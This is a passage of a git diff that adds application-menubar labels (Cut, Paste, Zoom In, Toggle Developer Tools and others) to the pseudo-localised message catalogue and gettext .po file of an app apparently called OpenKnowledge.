ũƥďàţēś…"],"3TCafD": ["Śţōŕēď ōń ţĥĩś ḿàćĥĩńē."],+ "3TSz9S": ["Ḿĩńĩḿĩźē"],"3VbwPp": ["Ōƥēń ", ["keyName"], " ĩń ƀŕōŵśēŕ"],"3VsNTI": ["Ĺōàďĩńĝ ďōćũḿēńţ"],"3YWddZ": ["Ńō ćōńţēńţ ćĥàńĝēś ĩń ţĥĩś vēŕśĩōń"],@@ -685,6 +688,7 @@],"Dvwa0U": ["Ćŕēàţē à ŵōŕķţŕēē ƒŕōḿ ţĥĩś ƀŕàńćĥ"],"Dw1T_W": ["Ŕēńàḿē ", ["label"]],+ "Dz7fsq": ["Źōōḿ Ĩń"],"E1Da_b": ["Ţĥĩś ƥēŕḿàńēńţĺŷ ŕēḿōvēś ",["0"],@@ -775,6 +779,7 @@"Ŕũń à ŕēàĺ ţēŕḿĩńàĺ ďōćķēď ĩńśĩďē ŌƥēńĶńōŵĺēďĝē, śţàŕţĩńĝ ĩń ţĥĩś ƥŕōĴēćţ'ś ƒōĺďēŕ."],"FCxvG5": ["Ƒĩŕśţ ĩţēḿ"],+ "FDBwmS": ["Ōƥēń ƒōĺďēŕ…"],"FEK4oC": ["ŌƥēńĶńōŵĺēďĝē ŵĩĺĺ ƀē ĩńĩţĩàĺĩźēď àţ <0>",["gitRoot"],@@ -782,6 +787,7 @@],"FEqWFL": ["Ĝũĩďēś ŷōũŕ ÀĨ àĝēńţś ōń ĥōŵ ţō ŵōŕķ ĥēŕē."],"FEr96N": ["Ţĥēḿē"],+ "FF7V5K": ["Àćţũàĺ Śĩźē"],"FNTx6u": ["Śēàŕćĥ \"", ["semanticSubmitQuery"], "\" ƀŷ ḿēàńĩńĝ"],"FOGD7m": ["Ćŕēàţē śōḿēţĥĩńĝ ĝŕēàţ."],"FRYB1Q": ["/àƥĩ/ćōńƒĩĝ ŕēţũŕńēď à ḿàĺƒōŕḿēď ƀōďŷ"],@@ -870,6 +876,8 @@"H-vDm3": ["Ŕēĺàũńćĥĩńĝ ţō ĩńśţàĺĺ ţĥē ũƥďàţē…"],"H08D2X": ["Ōƥēń à śĩńĝĺē ḿàŕķďōŵń ƒĩĺē ĩń à ţēḿƥōŕàŕŷ śēśśĩōń, ŵĩţĥōũţ ƥŕōĴēćţ śēţũƥ."],"H0WlWQ": ["Ĝŕĩď ōƒ ŕōŵś àńď ćōĺũḿńś ŵĩţĥ à ĥēàďēŕ ŕōŵ."],+ "H3oH0g": ["Ŕēďō"],+ "H6nKok": ["Śĥōŵ ĩń Ƒĩĺē Ḿàńàĝēŕ"],"H86f9p": ["Ćōĺĺàƥśē"],"HAvRAI": [["skillCount", "plural", { "one": ["śķĩĺĺ"], "other": ["śķĩĺĺś"] }]],"HCn0Ay": ["Ţōĝĝĺē śţŕĩķēţĥŕōũĝĥ ƒōŕḿàţţĩńĝ."],@@ -903,6 +911,7 @@],"Hrz9NY": ["Ŵĩķĩ ĺĩńķ"],"HyvSqq": ["ƤŕōĴēćţ Śķĩĺĺ"],+ "HzVv6g": ["Ƥàśţē"],"I-xnra": [["0"], " ĥēx vàĺũē"],"I1gRhX": ["Ƒàĩĺēď ţō ŕēńàḿē"],"I5685_": ["Ţŕŷ à ƥŕōḿƥţ"],@@ -1050,6 +1059,7 @@"LNum6A": [["minutes"], " ḿĩń àĝō"],"LPAv9E": [["days"], "ď àĝō"],"LRgZAt": [["owner"], "/", ["name"], " àĺŕēàďŷ ēxĩśţś"],+ "LTeJuX": ["Ţōĝĝĺē Ƒũĺĺ Śćŕēēń"],"LXdWeS": ["Ḿēďĩũḿ śēćţĩōń ĥēàďĩńĝ."],"LXfNU-": ["Ńàvĩĝàţĩōń àńď śũĝĝēśţĩōńś"],"LYufDw": ["Ƒàĩĺēď ţō ēńàƀĺē śēḿàńţĩć śēàŕćĥ — ", ["detail"]],@@ -1168,6 +1178,7 @@"NSnIUP": ["Ţŵō-ƥàĝē (ēvēń)"],"NUr4kz": ["À ŕēũśàƀĺē śţàŕţĩńĝ ƥōĩńţ ƒōŕ ńēŵ ďōćũḿēńţś ĩń ţĥĩś ƒōĺďēŕ."],"NYUhy5": ["Śũƀƒōĺďēŕ ńàḿē"],+ "NYu2Pt": ["Ńēŵ ƥŕōĴēćţ…"],"N_7kkF": ["Ŕēàď ţĥŕōũĝĥ ţĥĩś ćōďēƀàśē àńď ďŕàƒţ à ţēćĥńĩćàĺ śƥēć ƒōŕ ţĥē ḿōśţ ćōḿƥĺēx ḿōďũĺē: àń ōvēŕvĩēŵ, ţĥē àŕćĥĩţēćţũŕē, ķēŷ ƒĩĺēś, àńď ōƥēń ǫũēśţĩōńś, àĺĺ ĺĩńķēď ƒŕōḿ à śƥēćś ĩńďēx ƥàĝē."],@@ -1408,8 +1419,10 @@"Skr_7L": ["Śēàŕćĥ ŵōŕķţŕēēś"],"Sq8lf2": ["Ēďĩţōŕś ţō ĩńśţàĺĺ śķĩĺĺś ĩńţō"],"SrOuyg": ["Ďōćũḿēńţ ƥàńēĺś"],+ "SvBFYA": ["Ńō ŕēćēńţ ƥŕōĴēćţś"],"T-654M": ["Ĺōàďĩńĝ ƤĎƑ"],"T0OVm7": ["Ţĥē ďēƒàũĺţ ƀŕàńćĥ ĩś ƥŕōţēćţēď — ƥũśĥēś ńēēď à ƥũĺĺ ŕēǫũēśţ."],+ "T3Mld1": ["Ŵĩńďōŵ"],"T3j-7o": ["ē.ĝ. Śŵĩţćĥĩńĝ ƥŕōĴēćţś ŵĥĩĺē à śŷńć ŵàś ŕũńńĩńĝ"],"T67A0Y": ["Àũţō-śŷńć ƥũśĥēś/ƥũĺĺś ćōḿḿĩţś ţō ŷōũŕ ĝĩţ ŕēḿōţē ōń ĩńţēŕvàĺś àńď ōń śàvē. Ţōĝĝĺĩńĝ ōń ŕēǫũĩŕēś ćōńƒĩŕḿàţĩōń."@@ -1419,6 +1432,7 @@"TKQ7K-": ["Ĩńśţàĺĺ"],"TLIO3j": ["Ţōĝĝĺē ĩţàĺĩć ƒōŕḿàţţĩńĝ."],"TQJCR6": [["0", "plural", { "one": ["#", " ŕēśũĺţ"], "other": ["#", " ŕēśũĺţś"] }]],+ "TTDXD8": ["Ńēŵ ŵōŕķţŕēē…"],"TUzThQ": ["Śĥàŕē śķĩĺĺś"],"T_R-Qz": ["Ƥŕĩḿàŕŷ"],"T_wG4n": ["Ŵē ćōũĺďń'ţ ćĥēćķ ŷōũŕ ĜĩţĤũƀ ćōńńēćţĩōń."],@@ -1798,6 +1812,7 @@"aHPdYV": ["Ĝō ţō ĺĩńē ", ["displayLine"]],"aM23Wr": ["ƥàĝē-ńàḿē"],"aOp3hw": ["Ćōũĺďń'ţ ḿōvē ţō Ţŕàśĥ"],+ "aRI3Om": ["Ćĺōśē Ŵĩńďōŵ"],"aWlJai": ["Śţàŕţĩńĝ śĩĝń-ĩń ƒĺōŵ"],"a_u4ck": ["Ĺōàďĩńĝ ţàĝś"],"aaE55D": ["Ćĺēàŕ ", ["keyName"]],@@ -1809,6 +1824,7 @@"adsMWO": ["Ŕēśōĺvĩńĝ ďēĺţàś"],"aiArms": ["Ŵē ćōũĺďń'ţ ćĺōńē ţĥĩś ŕēƥōśĩţōŕŷ."],"ajz9F8": ["Ćōũĺďń'ţ ĺōàď ćōńƒĺĩćţ ćōńţēńţ ƒōŕ ", ["filePath"], ". Ţŕŷ ŕēĺōàďĩńĝ ţĥē ƥàĝē."],+ "ak4LLg": ["Ćĺēàŕ ḿēńũ"],"anmUZq": ["Ḿĩśśĩńĝ à ƒēàţũŕē"],"aoa6xA": ["ńēţŵōŕķ ēŕŕōŕ (ĩś `ōķ ũĩ` ŕũńńĩńĝ?)"],"arUUsK": ["Ƥŕōďũćţ ũƥďàţēś"],@@ -1835,6 +1851,7 @@"bV6DJA": ["Ŵĥō ŷōũ àŕē, śō ţĥē àĝēńţ ĥàś ŷōũŕ ćōńţēxţ."],"bWLmRK": ["Ćōũĺď ńōţ ƒēţćĥ ƀŕàńćĥ. Ćĥēćķ ŷōũŕ ćōńńēćţĩōń."],"ba3vIW": [["templateCount", "plural", { "one": ["ţēḿƥĺàţē"], "other": ["ţēḿƥĺàţēś"] }]],+ "bbJ-VR": ["Źōōḿ Ōũţ"],"bcDHUM": [["descriptorLabel"], " — ŕēńďēŕ ēŕŕōŕ, śōũŕćē ēďĩţàƀĺē ƀēĺōŵ"],"bcjYUA": ["Ƒōĺď ōŕ ũńƒōĺď śōũŕćē"],"bkQRMh": ["Ƥàŕàĝŕàƥĥ"],@@ -1846,6 +1863,7 @@],"bwil08": ["ßũĩĺďĩńĝ <0>ōƥēńķńōŵĺēďĝē.śķĩĺĺ</0> àńď ōƥēńĩńĝ ţĥē Ćĺàũďē Ďēśķţōƥ Àƥƥ"],"c1LZZH": ["Ĺĩńķ ćōƥĩēď."],+ "c3XJ18": ["Ĥēĺƥ"],"c4fVUV": ["Ƒĩx"],"c5PTFE": ["Ďēv ĩńśţàńćē: ", ["label"], " (ĩśōĺàţēď ƒŕōḿ ōţĥēŕ ŵōŕķţŕēēś)"],"c5f7sm": ["Ćōďē ƀĺōćķ ĺàńĝũàĝē: ", ["currentLabel"], ". Ćĺĩćķ ţō ćĥàńĝē."],@@ -1853,6 +1871,7 @@"c863eW": ["Ćōũĺď ńōţ śŵĩţćĥ ţō ", ["shareBranch"], ". Ţŕŷ śŵĩţćĥĩńĝ ḿàńũàĺĺŷ."],"c8iK2Y": ["Ńō ţēḿƥĺàţēś ƒōũńď."],"c8jBgX": ["Ćĥēćķĩńĝ ƒōŕ ũƥďàţēś ōń ĜĩţĤũƀ"],+ "cCd8Bs": ["Ćũţ"],"cEoyWz": ["Àďď ĩţēḿ ţō ", ["keyName"]],"cF9DyA": ["Ŕēćōńńēćţĩńĝ àƒţēŕ śēŕvēŕ ŕēśţàŕţ"],"cFCKYZ": ["Ďēńŷ"],@@ -1991,6 +2010,7 @@"fNr-MX": ["Ďĩśàƀĺē śēḿàńţĩć śēàŕćĥ"],"fR-Kdc": ["(ƥŕōĴēćţ-ĺēvēĺ ōńĺŷ)"],"fSRzLo": ["Śĥōŵ ďōćũḿēńţ ƥàńēĺ"],+ "fTtfPS": ["Ŕēƥōŕţ à ßũĝ…"],"fVcm9t": [["0", "plural", { "one": ["#", " ďōć"], "other": ["#", " ďōćś"] }]],"fWi7pn": ["Ĩńĩţĩàĺĩźē śţàŕţēŕ ƥàćķ"],"fWsBTs": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ. Ƥĺēàśē ţŕŷ àĝàĩń."],@@ -2156,6 +2176,7 @@"iilQXA": ["Ƒōĺďēŕ ďũƥĺĩćàţēď"],"ijLc3m": ["ßũĺĺēţ ĺĩśţ"],"ilodsp": ["Ĺēţ àĝēńţś ũśē ŌƥēńĶńōŵĺēďĝē ŵĩţĥōũţ àśķĩńĝ"],+ "ioMn4Z": ["Ńēŵ ƒŕōḿ Ţēḿƥĺàţē…"],"ipn17C": ["Ţĥē <0>ţŷƥē</0> ēvēŕŷ ďōćũḿēńţ ćŕēàţēď ƒŕōḿ ţĥĩś ţēḿƥĺàţē ĝēţś (ē.ĝ. <1>ŕēśēàŕćĥ-ńōţē</1>). Ķēēƥś ńēŵ ďōćś Ōƥēń Ķńōŵĺēďĝē Ƒōŕḿàţ–ćōńƒōŕḿàńţ."],@@ -2332,6 +2353,7 @@"m2T1Xj": ["Ţàĝ #", ["tagValue"], ", ", ["uses"]],"m6YGpY": ["Àćţĩvē ƥàńēĺ ćōńţēńţ ƒōŕ ţĥē śēĺēćţēď ţàƀ śĥōŵś ĥēŕē."],"mBltnd": ["Ƥàţĥ śũĝĝēśţĩōńś"],+ "mCB6Je": ["Śēĺēćţ Àĺĺ"],"mGaZwZ": ["Śēē ţĥē ƒũĺĺ ĩńśţàĺĺ ĝũĩďē"],"mHVPm5": ["Ŕēćōńńēćţ ŕēǫũĩŕēď"],"mLAjyL": [@@ -2375,6 +2397,7 @@" ēďĩţōŕ śķĩĺĺ(ś) ƒōŕ ţĥĩś ƥŕōĴēćţ. Ĩḿƥōŕţ ḿōvēś ţĥēḿ ĩńţō .ōķ/śķĩĺĺś àńď ŕēƥĺàćēś ţĥē .ćĺàũďē, .ćōďēx, ēţć. ćōƥĩēś ŵĩţĥ śŷḿĺĩńķś — ōńē ƥĺàćē ţō ēďĩţ, ĩń śŷńć ēvēŕŷŵĥēŕē. Ĩƒ ţĥōśē ƒōĺďēŕś àŕē ćōḿḿĩţţēď ţō ĝĩţ, ŕēvĩēŵ ţĥē ćĥàńĝē ƒĩŕśţ; śŷḿĺĩńķś ćàń ƀēĥàvē ďĩƒƒēŕēńţĺŷ ōń śōḿē ēďĩţōŕś àńď ōń Ŵĩńďōŵś."],"mwMF9u": ["Ōƥēń ĆōďēḾĩŕŕōŕ śēàŕćĥ ĩń śōũŕćē ēďĩţōŕ ḿōďē."],+ "mxGJVE": ["Śŵĩţćĥ ŵōŕķţŕēē…"],"mxY24F": ["Ďũƥĺĩćàţē ţĥē ƒōćũśēď ƒĩĺē-ţŕēē ĩţēḿ ŵĥēń ƒōćũś ĩś ĩń ţĥē Ƒĩĺēś śĩďēƀàŕ."],"n2lRue": ["Ćōḿḿĩţ ōŕ śţàśĥ ćĥàńĝēś ţō śŵĩţćĥ:"],"n3wx1q": ["Ŕēśţōŕē ţō ţĥĩś vēŕśĩōń?"],@@ -2524,6 +2547,7 @@"pbwTg6": [["seconds"], "ś àĝō"],"pckX1A": [["0", "plural", { "one": ["#", " ũśē"], "other": ["#", " ũśēś"] }]],"pcqlQu": [["0", "plural", { "one": ["Ƒōĺďēŕ"], "other": ["Ƒōĺďēŕś"] }]],+ "pgDlbM": ["Ţōĝĝĺē Ďēvēĺōƥēŕ Ţōōĺś"],"pgq_xf": [["0"], "/", ["1"], " ", ["2"]],"phM8Kh": ["Ƒōũńď ţĥē ŕēƥō ƀũţ ćōũĺď ńōţ ōƥēń ţĥē ƥŕōĴēćţ. Ƥĺēàśē ţŕŷ àĝàĩń."],"pha01Y": ["ƤŕōĴēćţ-ĺēvēĺ ƥàĝēś ŵĩţĥ ńō ĩńćōḿĩńĝ ĝŕàƥĥ ēďĝēś."],@@ -2595,6 +2619,7 @@"Ţēĺĺ ũś ŵĥàţ ŵēńţ ŵŕōńĝ àńď ŵē'ĺĺ ĝàţĥēŕ ţĥē ĺōĝś. Ńōţĥĩńĝ ĺēàvēś ŷōũŕ Ḿàć ũńţĩĺ ŷōũ'vē ŕēvĩēŵēď ĩţ."],"rDOuNw": ["Ƒàĩĺēď ţō ĩḿƥōŕţ ţēḿƥĺàţē"],+ "rFTdVq": ["Śĥōŵ ĩń Ēxƥĺōŕēŕ"],"rFmBG3": ["Ćōĺōŕ ţĥēḿē"],"rFw02Q": ["Ũƥĺōàďĩńĝ ", ["keyName"]],"rJVoVX": ["Śōũŕćē ƒĩńď ŕēśũĺţś"],@@ -2695,6 +2720,7 @@"tUvUfp": ["Ũśē à ƒōĺďēŕ ŷōũ àĺŕēàďŷ ĥàvē."],"t_YqKh": ["Ŕēḿōvē"],"teD0H9": ["Ćōũĺďń'ţ ōƥēń à ŵōŕķţŕēē ƒōŕ ţĥàţ ƀŕàńćĥ."],+ "ten9en": ["Ŕēćēńţ ƥŕōĴēćţ"],"tfDRzk": ["Śàvē"],"tfi40B": ["Ƒàĩĺēď ţō ćŕēàţē ƥàĝē"],"tgWuMB": ["Ḿōďĩƒĩēď"],@@ -2735,6 +2761,7 @@"uQewpR": ["Ćōũĺďń'ţ ŕēśţàŕţ ţĥē śēŕvēŕ — ĩţ'ś ŕũńńĩńĝ ũńďēŕ à ďĩƒƒēŕēńţ àććōũńţ. Ŕēśţàŕţ ŷōũŕ ćōḿƥũţēŕ ţō ćĺēàŕ ĩţ, ţĥēń ŕēōƥēń ţĥĩś ƥŕōĴēćţ."],+ "uVbUP8": ["Śēţţĩńĝś…"],"uWtdQR": ["Ńō ţēḿƥĺàţēś ŷēţ. Àďď ōńē ĩń ţĥĩś ƒōĺďēŕ'ś Ţēḿƥĺàţēś śēćţĩōń, ōŕ ĩń Śēţţĩńĝś → Ţēḿƥĺàţēś."],@@ -2780,6 +2807,7 @@"vPKX2i": ["Ĩń àƥƥ (ƀēţà)"],"vQIVHc": ["Ƒōĺďēŕ ƥŕōƥēŕţĩēś"],"vWc9a0": ["Ţŷƥē ţō ēďĩţ; <0>⌘ Ēńţēŕ</0> śàvēś, <1>Ēść</1> ćàńćēĺś."],+ "vYPvPB": ["Śŵĩţćĥ ƥŕōĴēćţ…"],"vZVeFG": ["Ũƥĺōàď ƒàĩĺēď — ƥĺēàśē ţŕŷ àĝàĩń"],"vbK_ZG": ["Ƒĩĺēś śĩďēƀàŕ"],"ve8vEM": ["Ćōďē ēxƥĩŕēď — ƥĺēàśē ţŕŷ àĝàĩń"],@@ -2914,6 +2942,7 @@"y_K0Dz": ["Ŵĥàţ ĥàƥƥēńēď?"],"yaPGPa": ["Ōƥēń à ƥŕōĴēćţ ţō ḿàńàĝē ĩţś ÀĨ ţōōĺ ćōńńēćţĩōńś."],"ycIX5i": ["Ŷōũ'ŕē śĩĝńēď ōũţ — śĩĝń ĩń ţō ŕēśũḿē śŷńćĩńĝ."],+ "ydzS9x": ["Ēxĩţ"],"yf5auF": ["Śēàŕćĥ ŕũĺēś ƀŷ ĩď, àĺĩàś, ōŕ ńàḿē"],"yf5r22": [["keyName"],@@ -2952,6 +2981,7 @@],"zAJzIg": ["Ƥŕōƀĺēḿś ĩń ", ["0"]],"zAsDLY": ["Ĝŕàƥĥ vĩśũàĺĩźàţĩōń ōƒ ďōćũḿēńţ ĺĩńķś"],+ "zBUqvf": ["Śēţ ũƥ ŌƥēńĶńōŵĺēďĝē ĩńţēĝŕàţĩōńś…"],"zKxoPm": ["Ćōũĺďń'ţ ŕēńàḿē \"", ["0"], "\": ", ["1"]],"zL0LPh": ["Ĝĺōƀàĺ ōũţśĩďē ţēxţ ƒĩēĺďś"],"zLGXna": ["Ńō śţàŕţēŕ ƥàćķś àvàĩĺàƀĺē."],diff --git a/packages/app/src/locales/pseudo/messages.po b/packages/app/src/locales/pseudo/messages.poindex 7f7e8e29a..89ae813db 100644--- a/packages/app/src/locales/pseudo/messages.po+++ b/packages/app/src/locales/pseudo/messages.po@@ -839,6 +839,10 @@ msgstr ""msgid "Activity"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Actual Size"+msgstr ""+#: src/components/FrontmatterRow.tsx#: src/components/ObjectWidget.tsx#: src/components/PropertyPanel.tsx@@ -1515,6 +1519,10 @@ msgstr ""msgid "Check for updates"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Check for updates…"+msgstr ""+#: src/components/NewWorktreeDialog.tsxmsgid "Check out remote branch"msgstr ""@@ -1523,6 +1531,7 @@ msgstr ""msgid "Check out worktree"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Check spelling while typing"msgstr ""@@ -1617,6 +1626,10 @@ msgstr ""msgid "Clear {keyName}"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Clear menu"+msgstr ""+#: src/components/settings/SearchSection.tsxmsgid "Clear the field to reset back to the default OpenAI endpoint."msgstr ""@@ -1743,6 +1756,10 @@ msgstr ""msgid "Close terminal"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Close Window"+msgstr ""+#: src/components/GraphLegend.tsxmsgid "Clusters"msgstr ""@@ -1792,6 +1809,7 @@ msgstr ""msgid "Collapse {keyName}"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -2104,6 +2122,7 @@ msgstr ""msgid "Copied!"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/CopyButton.tsx#: src/components/empty-state/CopyablePromptList.tsx#: src/components/InstallInClaudeDesktopDialog.tsx@@ -2144,6 +2163,7 @@ msgstr ""msgid "Copy full path, No workspace"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/FileTree.tsxmsgid "Copy path"msgstr ""@@ -2747,6 +2767,10 @@ msgstr ""msgid "Customize how the editor looks and behaves."msgstr ""+#: src/components/AppMenubar.tsx+msgid "Cut"+msgstr ""+#: src/components/settings/ColorThemePicker.tsxmsgid "Dark"msgstr ""@@ -3145,6 +3169,7 @@ msgstr ""msgid "Drag item {0} to reorder"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileTree.tsx#: src/components/skill-actions.tsx@@ -3200,6 +3225,7 @@ msgstr ""msgid "Each selected tool gets an OpenKnowledge MCP entry."msgstr ""+#: src/components/AppMenubar.tsx#: src/components/skill-actions.tsx#: src/components/TemplateForm.tsx#: src/components/TemplateRow.tsx@@ -3443,6 +3469,10 @@ msgstr ""msgid "Existing branch <0>{trimmed}</0> will be checked out into its own window, under <1>.ok/worktrees/</1>."msgstr ""+#: src/components/AppMenubar.tsx+msgid "Exit"+msgstr ""+#. placeholder {0}: exit.exitCode ?? 0#: src/components/acp/ThreadView.tsxmsgid "exit {0}"@@ -3457,6 +3487,7 @@ msgstr ""msgid "Expand {keyName}"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3789,6 +3820,7 @@ msgstr ""msgid "Fetching"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx#: src/components/settings/AiToolsSection.tsx#: src/components/settings/ProjectAiToolsSection.tsx@@ -4000,6 +4032,10 @@ msgstr ""msgid "Footnote"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Force Reload"+msgstr ""+#: src/components/acp/ThreadView.tsxmsgid "Force stop"msgstr ""@@ -4032,6 +4068,7 @@ msgstr ""msgid "Full guide"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/FileTree.tsxmsgid "Full path"msgstr ""@@ -4210,6 +4247,10 @@ msgstr ""msgid "Hello, world!"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Help"+msgstr ""+#. Subtext for the open-knowledge-discovery skill row#. Subtext for the open-knowledge-discovery skill row#: src/components/McpConsentDialogBody.tsx@@ -4238,6 +4279,7 @@ msgstr ""msgid "Hide advanced"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Hide document panel"msgstr ""@@ -4291,6 +4333,7 @@ msgstr ""msgid "Hide selection preview"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Hide sidebar"msgstr ""@@ -5079,6 +5122,10 @@ msgstr ""msgid "Message not sent: {0}"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Minimize"+msgstr ""+#: src/editor/components/Mirror.tsxmsgid "Mirror loading <0>{mirrorRef}</0>"msgstr ""@@ -5185,6 +5232,7 @@ msgstr ""msgid "Move to the previous visual-editor find result."msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Move to Trash"msgstr ""@@ -5318,6 +5366,7 @@ msgstr ""msgid "New branch <0>{trimmed}</0> will be created from the current commit, in its own worktree under <1>.ok/worktrees/</1>."msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -5334,6 +5383,7 @@ msgstr ""msgid "New file from template \"{displayTitle}\" ({fileName}) in the project root"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -5348,6 +5398,10 @@ msgstr ""msgid "New from template"msgstr ""+#: src/components/AppMenubar.tsx+msgid "New from Template…"+msgstr ""+#: src/components/settings/OkignoreSection.tsxmsgid "New ignore pattern"msgstr ""@@ -5357,6 +5411,10 @@ msgstr ""msgid "New project"msgstr ""+#: src/components/AppMenubar.tsx+msgid "New project…"+msgstr ""+#: src/components/FrontmatterRow.tsxmsgid "New property name"msgstr ""@@ -5401,6 +5459,10 @@ msgstr ""msgid "New worktree"msgstr ""+#: src/components/AppMenubar.tsx+msgid "New worktree…"+msgstr ""+#: src/components/TimelineDiffPane.tsxmsgid "Next change"msgstr ""@@ -5626,6 +5688,10 @@ msgstr ""msgid "No project templates yet. Create one to make it available everywhere in this project. Folder-scoped templates live on each folder's overview page."msgstr ""+#: src/components/AppMenubar.tsx+msgid "No recent projects"+msgstr ""+#: src/components/ProjectSwitcher.tsxmsgid "No recent projects."msgstr ""@@ -5989,6 +6055,10 @@ msgstr ""msgid "Open folder on disk"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Open folder…"+msgstr ""+#: src/components/command-palette-commands.tsmsgid "Open graph"msgstr ""@@ -6088,6 +6158,7 @@ msgstr ""msgid "Open visual-editor find with replace controls expanded."msgstr ""+#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx@@ -6148,6 +6219,7 @@ msgstr ""msgid "OpenKnowledge is using this GitHub account."msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "OpenKnowledge on GitHub"msgstr ""@@ -6316,6 +6388,10 @@ msgstr ""msgid "Parse failed"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Paste"+msgstr ""+#: src/components/AuthModal.tsxmsgid "Paste a personal access token for <0>{host}</0>."msgstr ""@@ -6734,6 +6810,10 @@ msgstr ""msgid "Recent"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Recent project"+msgstr ""+#: src/components/CommandPalette.tsxmsgid "Recently opened"msgstr ""@@ -6758,6 +6838,10 @@ msgstr ""msgid "Reconnecting…"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Redo"+msgstr ""+#: src/components/ProblemsPanel.tsxmsgid "Refresh audit"msgstr ""@@ -6780,6 +6864,7 @@ msgstr ""msgid "Reject"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/FileTree.tsxmsgid "Relative path"msgstr ""@@ -6797,6 +6882,7 @@ msgstr ""msgid "Release notes"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/EditorActivityPool.tsx#: src/components/settings/SettingsDialogErrorBoundary.tsx#: src/components/TerminalGate.tsx@@ -6891,6 +6977,7 @@ msgstr ""msgid "Removing"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileTree.tsx#: src/components/skill-actions.tsx@@ -7001,6 +7088,10 @@ msgstr ""msgid "Report a bug"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Report a Bug…"+msgstr ""+#: src/components/ReportBugDialogBody.tsxmsgid "Report reference"msgstr ""@@ -7458,6 +7549,10 @@ msgstr ""msgid "See the full install guide"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Select All"+msgstr ""+#: src/lib/keyboard-shortcuts.tsmsgid "Select all files and folders"msgstr ""@@ -7600,6 +7695,10 @@ msgstr ""msgid "Set up OpenKnowledge integrations"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Set up OpenKnowledge integrations…"+msgstr ""+#: src/components/settings/SyncSection.tsxmsgid "Set up syncing"msgstr ""@@ -7632,6 +7731,10 @@ msgstr ""msgid "Settings sections"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Settings…"+msgstr ""+#. Primary button — begins scaffolding the project#: src/components/ConsentDialogBody.tsxmsgid "Setup"@@ -7709,6 +7812,7 @@ msgstr ""msgid "Show"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsxmsgid "Show .ok folders"@@ -7740,6 +7844,7 @@ msgstr ""msgid "Show diagram"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Show document panel"msgstr ""@@ -7764,6 +7869,7 @@ msgstr ""msgid "Show Files ({sidebarShortcutLabel})"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/NotInSidebarIndicator.tsx@@ -7774,11 +7880,20 @@ msgstr ""msgid "Show HTML preview"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Show in Explorer"+msgstr ""++#: src/components/AppMenubar.tsx+msgid "Show in File Manager"+msgstr ""+#: src/components/PackCardGrid.tsx#: src/components/settings/ConfigureAgentsSection.tsxmsgid "Show less"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsxmsgid "Show only markdown files"@@ -7817,10 +7932,12 @@ msgstr ""msgid "Show selection preview"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Show sidebar"msgstr ""+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsxmsgid "Show skills section"@@ -8184,6 +8301,10 @@ msgstr ""msgid "Switch project"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Switch project…"+msgstr ""+#: src/components/settings/SharingSection.tsxmsgid "Switch to local-only refused"msgstr ""@@ -8192,6 +8313,10 @@ msgstr ""msgid "Switch worktree"msgstr ""+#: src/components/AppMenubar.tsx+msgid "Switch worktree…"+msgstr ""+#: src/components/ShareBranchSwitchDialog.tsxmsgid "Switching branches"msgstr ""@@ -8881,6 +9006,14 @@ msgstr ""msgid "Toggle bold formatting."msgstr ""+#: src/components/AppMenubar.tsx+msgid "Toggle Developer Tools"+msgstr ""++#: src/components/AppMenubar.tsx+msgid "Toggle Full Screen"+msgstr ""+#: src/lib/keyboard-shortcuts.tsmsgid "Toggle heading levels 1 through 6."msgstr ""@@ -9024,6 +9157,7 @@ msgid "Undid the last edit on {docName}"msgstr ""#: src/components/ActivityPanelBurstRow.tsx+#: 